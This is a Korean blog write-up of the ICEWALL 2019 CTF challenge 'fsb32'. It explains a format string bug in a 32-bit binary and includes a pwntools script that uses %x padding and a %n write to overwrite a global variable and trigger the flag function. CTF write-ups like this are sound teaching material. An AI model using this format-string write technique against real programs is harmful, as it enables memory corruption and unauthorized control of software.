본문으로 바로가기

[System] fsb32 / 150

category ICEWALL 2019. 7. 19. 00:41

Download: vuln

 

32bit ELF 바이너리 파일이다.

FSB는 Format String Bug으로, printf 등의 함수에서 사용자 입력을 그대로 Format으로 사용하는 경우 발생할 수 있는 취약점이다. Format String Vulnerability라고 부르기도 한다. 이에 대해서는 여기서 다루는 대신, 잘 설명된 글이 있으므로 그 링크를 첨부해 놓았다.

 

https://operatingsystems.tistory.com/entry/Vul-Format-String-Vulnerability

 

https://proneer.tistory.com/entry/FormatString-%ED%8F%AC%EB%A7%B7%EC%8A%A4%ED%8A%B8%EB%A7%81Format-String-Attack

 

target은 0x804A06C에 위치한 uninitalized DWORD 값이다. 기본값은 0이 될 것이고, 이 값이 0이 아니게 되면 win 함수를 호출해 flag를 얻어올 수 있다. FSB를 이용해 입력에 0x804A06C와 적당한 수의 %x를 넣어 0x804A06C가 몇 번째 위치에 위치하는지 알아본다.

 

6번째에 위치한다. 6번째 %x 대신 %n을 넣어 0x804A06C 위치에 값을 쓸 수 있고, 그러면 target 변수가 0이 아니게 되어 win이 실행된다.

 

from pwn import *
import sys

if len(sys.argv) == 1 :
	p = process('./vuln')
else :
	p = connect('icewall-ctf.kr', 10204)

target = 0x804A06C

payload = p32(target)
payload += ' %x %x %x %x %x %n'

p.sendlineafter('Bug', payload)

print p.recv(1000)

p.interactive()

 

'ICEWALL' 카테고리의 다른 글

[System] libc_leak / 250  (0) 2019.07.19
[System] typing_practice / 200  (0) 2019.07.19
[System] canary / 150  (0) 2019.07.19
[System] bofbaby2 / 120  (0) 2019.07.18
[System] bofbaby1 / 100  (0) 2019.07.18